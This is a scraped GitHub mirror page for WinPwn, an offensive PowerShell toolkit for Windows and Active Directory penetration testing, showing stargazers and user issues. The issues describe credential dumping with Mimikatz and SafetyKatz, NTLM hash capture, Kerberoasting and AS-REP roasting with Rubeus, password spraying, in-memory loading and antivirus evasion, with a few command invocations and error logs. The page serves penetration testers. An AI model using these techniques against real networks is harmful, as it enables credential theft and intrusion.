s3cur3th1ssh1t / winpwn Goto Github PK

View Code? Open in Web Editor NEW

3.2K 82.0 502.0 490.17 MB

Automation for internal Windows Penetrationtest / AD-Security

License: BSD 3-Clause "New" or "Revised" License

PowerShell 99.99% Shell 0.01%

pentesting automation adsecurity privilege-escalation powersploit pentest-tool exploitation recon redteam powershell

winpwn's Introduction

winpwn's People

Contributors

Stargazers

Watchers

Forkers

cephurs rdsece therawman c002 scanfsec hobbit19 3453-315h attackgithub permikomnaskaltara totoroha kbahaxor raystyle ne0shi riviera12345 jayaramyalla cloud-forge experiencebij zshell c0axial adventurepatel ybslzwa keystroke95 rupigcute idkwim oceyspark crackercat gmlanzi mlynchcogent alexmenguy h1d3r glira locolobo songofhack gadoi marciopocebon thinkergod 0xrocketboy truebasic2011 ankushgoel27 theralfbrown kaisaryousuf nag1bat0r joebell000 sasqwatch jochigt87 re-expoc n0ooooone star-bob superdong0 p2-98 noobzero br0ns0n ztencmcp fengjixuchui bravery9 imulmul m00zh33 rahmiy aolibaigei phendryx romulus968 yssam-mtibaa 0xkabu techbytom fraggler0ck ameerpornillos ethancck y0d4a inspectordidi xkcd350 johndoex1 jr69ss modulexcite sh1nu11bi th3xace buggui0 eduriel adde88 grukz m4rm0k samuelriesz l1ves zaidozaid djgrasss 1r0dm480 akshayjaing rythmosadvisory masterscott dawnadvent mgcfish sireof 5l1v3r1 an4kein red-infosec usama7628674 pentest-tools hello-xbugs gavz avi8892 test1213145

winpwn's Issues

I am unable to get NTLM Hashes using Inveigh using WinPwn but Invoke-Inveigh works just fine.

First of all thanks for your swift response!!

I am not sure if this is a issue ( I am just a script kiddie ;-)) Please check the screenshot using Kevin-Robertson's script:

But using WinPwn I am unable to get it working:

This time I must be doing something wrong. Please help.

Exe source code please and md5?

While performing Situational Analysis for Domain I get this errors

Please check the screenshot.

Any comments, please?

mimikatz update request

Please forgive me for asking this! Is it possible to update Mimkatz (2.2.0 20210810-2) to Offline WinPwn? Thanks in advance!

WinCreds Detected!

Hi,

Anychance you can make a writeup on how you repackaged lazagne into a binary?

Its being caught as it expected by Defender everytime Im using it.

Be great to understand how you did it! ( if you could re-package it one more time that would alos be beneficial ;-)

WinPwn Non-interactive PowerShell Session

WinPwn only works on Interactive session.Can you make it to work on non-interactive session? like how your PowerSharpPack is right now. i can load PowerSharpPack into a non-nteractive session and call on commands. But i cant do that with WinPwn.

safetykatz

Safetykatz in memory dumps the memory perfectly, but as its parsing the dump it crashes while the data scrolls on the screen. using win2k16 ps5. not sure where its crashing. cant test much else in this environment as engagement is complete. but if i get another chance to test ill let you know

btw other than that worked perfectly bypassing AV using the rest of the tools :)

mimikatz update request

Hi Can you update mimikatz to 2.2.0 20210701 PrintNightmare please?

/nowrap nomore!

Could you re-add /nowrap to the ASREP and Kerberaosting options please! Seems to of gone on at least the offline version.

I find the offline version very useful and use it more often as limited access to the internet is a usual position I'm in.

Thanks!

Getting some errors!!

Creating/Checking Log Folders in C:\Users\giri\Desktop\LOL directory:
False
Exception calling "Copy" with "4" argument(s): "Value cannot be null.
Parameter name: destination"
At C:\Users\giri\Desktop\LOL\Offline_WinPwn.ps1:30 char:1

[System.Runtime.InteropServices.Marshal]::Copy($msueg, 0, $dfwxos, 6)

  + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
  + FullyQualifiedErrorId : ArgumentNullException

What am I doing wrong? Please help!

Just like Mimikatz Obfuscated with the freedom to run custom commands, can we have the same feature for Rubeus as well!

Is there a way we can load Rubeus and allow users to execute custom Rubeus functions like Mimikatz menu offers ( option 16 ) in WinPwn, e.g.
.\Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>

Thanks!

Unable to find EmptyPasswords.txt in Exploitation Folder

Please check:

I do have a user Tesla who has a blank password.

But there is no text file by that name. Am i missing something here ?

Thanks!

Logic error？

This judgment always seems to be true

Add Bloodhound multi-domain compatibility

It would be nice if you add an option for the Bloodhound execution to use it for other domains in a forest with its -d parameter.

Unable to simulate Password Spraying attack as no text file is created under Exploitation folder

Please check:

I did see that WinPwn will ask the password to be sprayed in the code but I didn't get that option while executing the script. Please advise.

How can I pass parameters to mimiload command?

I am looking to pass parameters to mimiload command so that it can be completely non interactive, but the mimiload directly loads the obfuscated mimikatz

How can I pass commands, I am looking for something like

mimiload -consoleoutput -noninteractive -command "coffee exit"

This doesn't seem to work

Weird behaviour observed when using PowerShdll

Hey man I am back with a few queries 👍

So basically i am running WinPwn on a JUMP Server that has both CMD and PS disabled. I am running WinPwn via PowerShdll.

I don't have Internet Access so using Offline_WinPwn

So my query is that i get error messages when i attempt to run the following commands:

PS H:\Desktop2019>WinPwn -noninteractive -consoleoutput -DomainRecon
A parameter cannot be found that matches parameter name 'FullData'.

However when i try to run the same command without the -consoleoutput parameter i get

PS H:\Desktop2019>WinPwn -noninteractive -DomainRecon
A positional parameter cannot be found that accepts argument 'proxy.redacted.local:80'

Any ideas as to why this is occurring? i presume that PowerShdll is not providing verbose error messages so it is kind of hard to understand what is occurring.

However when i run
WinPwn -PowerSharpPack -consoleoutput -noninteractive

I manage to get the output in full.

I would like to know if you have a cheatsheet I could use to run WinPwn in -consoleoutput -noninteractive mode with a list of parameters we can pass because the help menu seems to contian only a few examples of usage if i am not mistaken.

Cheers

WinPwn launching problem

Hello,

I run WinPwn on windows 10 pro dev : https://developer.microsoft.com/fr-fr/windows/downloads/virtual-machines/

I desactive Windows Defender and launch the ps1 but nothing append.

ADCS ESC8 check Error

I get the following errors when attempting the ADCS ESC8 check:

Import-Module : Attempting to perform the InitializeDefaultDrives operation on the 'ActiveDirectory' provider failed.
At line:4 char:1

Import-Module -Assembly $Assembly

  + CategoryInfo          : InvalidOperation: (dynamic_code_mo...ActiveDirectory:ProviderInfo) [Import-Module], Prov
 iderInvocationException
  + FullyQualifiedErrorId : InitializeDefaultDrivesException,Microsoft.PowerShell.Commands.ImportModuleCommand

Get-ADDomain : Entry point was not found.
At C:\malware\WinPwn\WinPwn.ps1:2129 char:12

```
$Dom = Get-ADDomain
```
```
       ~~~~~~~~~~~~
```
- CategoryInfo : NotSpecified: (REDACTED:ADDomain) [Get-ADDomain], EntryPointNotFoundException
- FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.EntryPointNotFoundException,Microsoft.ActiveDirectory.Manag
  ement.Commands.GetADDomain

-------> Searching AD for ADCS Servers
Exception calling "FindAll" with "0" argument(s): "Unknown error (0x80005000)"
At line:4028 char:20

        else { $Results = $ObjectSearcher.FindAll() }

```
               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
- CategoryInfo : NotSpecified: (:) [], MethodInvocationException
- FullyQualifiedErrorId : COMException

-------> Searching AD for ADCS Templates
Exception calling "FindAll" with "0" argument(s): "Unknown error (0x80005000)"
At line:4028 char:20

        else { $Results = $ObjectSearcher.FindAll() }

```
               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
- CategoryInfo : NotSpecified: (:) [], MethodInvocationException
- FullyQualifiedErrorId : COMException

-------> Searching for the active CA-Server and checking for ESC8 (https://posts.specterops.io/certified-pre-owned-d95910965cd2)

Other domain related recon checks work without errors.

Any suggestions?

Suggest rename of Module

Hi,
The option "1. Collect general domain information" is quite misleading as it goes on to start a password spray.
It would be better if these were two different options. as Just gathering information about the domain is really important without needing to act upon the results directly. Also in large organisations this would hang for 30 minutes+ in my experience trying to get the user list up and ready. (40k Users AD)

Using Invoke-SharpCradle and point it to load Rubeus.exe into memory

On the Rubeus piece, I did find a way to use the Option 14 to load rubeus.exe into PowerShell using the Invoke-SharpCradle module in WinPwn. (Thanks to you again!!)

If I use Invoke-SharpCradle -Url https://raw.githubxxxx -Argument1 asktgt /user:Bob /password:user@123 ---> works perfectly well.

but, from WinPwn when I use the same functionality, why do I need to pass 3 arguments separately? When I prompted for Argument1 I typed: asktgt /user:Bob /password:user@123 and it failed to process! Is it not possible to pass the entire command as string and pass it to Rubeus as Argument1 in WinPwn just like Invoke-SharpCradle!

Please comment!

Help Parameter

Add help parameter for noninteractive + Consoleoutput

Option 4 & 5 - from Offline_WinPwn.ps1 not working as expected

When using the Offline_WinPwn.ps1 and selecting option 4 from the menu - powershell version 5.1 and using rasta-mouses's AMSI bypass im seeing the following error message display to the terminal.

Option 4
Please choose wisely, master:: 4
Find-InterestingDomainShareFile : The term 'Find-InterestingDomainShareFile' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At C:\temp\Offline_WinPwn.ps1:1963 char:16

         4{Find-InterestingDomainShareFile >> "$currentPath\Domai ...

```
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
- CategoryInfo : ObjectNotFound: (Find-InterestingDomainShareFile:String) [], CommandNotFoundException
- FullyQualifiedErrorId : CommandNotFoundException

Option 5
Please choose wisely, master:: 5
Creating/Checking Log Folders in C:\temp directory:
iex : At line:1 char:1
+
This script contains malicious content and has been blocked by your antivirus software.
At C:\temp\Offline_WinPwn.ps1:3396 char:337014

... bDMyJ10NCiR2SlhjZW1kYlZoTnlOUUMgPSAkVHlwZXNbJ3d0c2FwaTMyJ10=")) | iex
```
                                                                  ~~~
```
- CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
- FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand

Searching for sensitive Files on the Domain-Network, this can take a while:
Claire : The term 'Claire' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if
a path was included, verify that the path is correct and try again.
At C:\temp\Offline_WinPwn.ps1:3398 char:25

if(!$consoleoutput){Claire >> $currentPath\SensitiveFiles.txt}els ...

```
                    ~~~~~~
```
- CategoryInfo : ObjectNotFound: (Claire:String) [], CommandNotFoundException
- FullyQualifiedErrorId : CommandNotFoundException

shift : The term 'shift' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a
path was included, verify that the path is correct and try again.
At C:\temp\Offline_WinPwn.ps1:3399 char:25

if(!$consoleoutput){shift -qgsNZggitoinaTA >> $currentPath\Networ ...

```
                    ~~~~~
```
- CategoryInfo : ObjectNotFound: (shift:String) [], CommandNotFoundException
- FullyQualifiedErrorId : CommandNotFoundException

Error